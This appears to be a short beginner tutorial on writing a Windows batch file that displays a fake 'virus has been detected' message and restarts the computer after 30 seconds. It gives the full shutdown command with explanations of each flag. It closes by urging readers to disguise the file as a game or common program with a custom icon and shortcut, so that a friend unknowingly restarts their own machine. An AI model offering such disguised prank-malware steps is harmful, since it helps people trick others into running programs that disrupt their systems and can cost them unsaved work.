Create a virus that restarts the system


Using Batch programming you can do a lot of things, actually I advise you to start now. Batch files are the files with the extension of .bat these files most of the time they tend to affect the system directly. They have strong interaction with the system’s operations. People use these files to create malicious software. Now, this is how you create a virus that restarts the system.
Open Notepad in windows
Type:

cd..
shutdown /t 30 /r /c "a virus has been detected"

save the file with the extension of .bat for example virus.bat and click to run it
The message “virus has been detected" will pop up and the computer will be shut down in 30 seconds and restart again
Put in mind:
/t indicates time interval that can be changed (for that case 30 is for 30 seconds)
/c indicates the message that you want to display
/r indicates restart windows you can change it to /s to only shutdown windows
You can trick your friend by creating an icon on the.bat file and create a shortcut on the desktop pretending it to be a game or frequently used software but when they click it should restart their system, have fun!!!.